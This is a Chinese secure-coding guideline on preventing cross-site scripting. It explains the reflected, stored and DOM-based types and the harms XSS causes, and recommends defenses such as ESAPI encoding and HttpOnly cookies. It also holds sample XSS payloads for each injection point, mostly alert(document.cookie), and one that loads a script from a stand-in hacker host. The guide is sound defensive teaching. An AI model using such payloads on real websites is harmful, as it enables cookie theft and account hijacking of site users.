开发安全规约(二)——防止跨站脚本攻击
什么是跨站脚本攻击?
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是Web应用程序一种常见的攻击方式。它是指在服务器未严格验证输入输出时,网站容易被攻击者注入恶意代码,当其他用户访问这些携带恶意代码的网站时,就会遭受攻击。因此,XSS是一种间接攻击技术,不直接攻击Web服务器,而是以其为跳板攻击用户。
跨站脚本攻击的分类
按攻击类型分类:
-
反射型:攻击者构造含有恶意代码的链接,诱导用户点击,请求到达服务器后,若未对输入输出严格验证,恶意代码会被反射给用户运行,使用户遭受攻击。
反射型XSS
-
存储型:攻击者构造含有恶意代码数据的请求提交给服务器,若在数据存储到数据库以及从库中读取显示给用户的过程中,未对输入输出严格验证,恶意代码数据将被存到数据库中,且所有访问到该恶意代码数据的用户均遭受攻击。
存储型XSS
-
DOM型:随着单页面应用的发展,越来越多Web应用依赖锚点(#userinfo/jack)来实现页面路由跳转。这也带来新的DOM型XSS,如:#userinfo/<script>alert(document.cookie)<script>,该攻击与反射型类似,但不经过服务器反射,直接在用户端执行。详见:https://www.oschina.net/translate/dom-based-xss-of-third-kind
按注入位置分类:
-
标签体内:<div class="username">
join<ScRipt sRc="https://xxx/hacker.js"></scRiPt>
</div> -
标签的属性: <img class="anchor" src="
x" onerror="alert(document.cookie);
"> -
JavaScript数据域:<script>var res_data = "
data";alert(document.cookie); //
";<script> -
URL参数:<a href="
product.jsp?id=123"></a><script src="hacker.js"></script><a href="
" ></a> -
CSS参数:*body { backgroud-image: url("
javascript: alert(document.cookie)
"); }
跨站脚本攻击的利用及危害
-
身份盗用。Cookie是用户对于特定网站的身份验证标志,XSS攻击可以盗取用户的cookie,从而利用该cookie盗取用户对该网站的操作权限。如果一个网站管理员用户的cookie被窃取,将会对网站引发巨大的危害。
-
钓鱼欺骗。在页面中伪造一个登录或支付页面,欺骗用户输入账户密码信息,实现窃取用户敏感信息。
-
网站挂马。攻击者利用Iframe标签嵌入隐藏的恶意网站,将被攻击者定向到恶意网站上、或弹出恶意网站窗口等方式,进行挂马攻击。
-
蠕虫攻击。伪造请求,主动攻击更多用户、窃取敏感数据、发表非法评论、进行DDoS攻击,最终导致服务器瘫痪。
跨站脚本攻击的防护
服务端防范方法:
-
对用户的输入输出进行过滤。推荐使用OWASP开源项目 ESAPI 对用户的输入输出进行过滤(官网下载 、API文档):
- 针对标签内HTML:ESAPI.encoder().encodeForHTML( html )
- 针对标签属性防护:ESAPI.encoder().encodeForHTMLAttribute( attr )
- 针对JavaScript域:ESAPI.encoder().encoderForJavaScript( jscode )
- 针对URL参数防护:ESAPI.encoder().encodeForURL( url )
- 针对CSS参数防护:ESAPI.encoder().encoderForCSS( css )
-
Cookie设置HttpOnly和有效期。当Cookie设置为HttpOnly时,Cookie无法通过脚本读取,即使不小心中了XSS攻击,也不会被盗用身份。设置有效期后,万一Cookie泄露,可避免会话被长期盗用。
-
限制用户输入数据长度和数据格式。恶意代码一般比正常数据长,限制字符长度,能有效防止危害较大的XSS攻击。当数据有固定格式时,拦截不符合格式的数据,能有效防止XSS攻击,还能提升应用健壮性。
-
对用户的输入输出进行转义。
- 将特殊符号转为HTML编码,可用第三方库:https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
- 将特殊符号转为全角符号,可参考:https://yunjiechao-163-com.iteye.com/blog/1973803
客户端防范方法:
-
慎重点击网页链接。只点击可信任网站域内链接,不点击指向其它网站的链接。浏览邮件、论坛文章、留言板留言时提高安全意识,可有效防范跨站脚本攻击。
-
提高浏览器安全等级。及时升级浏览器,必要时在浏览器上禁用 JavaScript脚本的运行、限制操作 cookie的权限。此外,尽量采用主流Chrome、FireFox、Safari等浏览器,此类浏览器可检测部分跨站脚本攻击,更为安全。
-
开启终端安全防护。即使跨站脚本被浏览器解释执行,终端上安装的防病毒系统、防火墙等安全软件,可拦截和阻止网页挂马等后续攻击行为。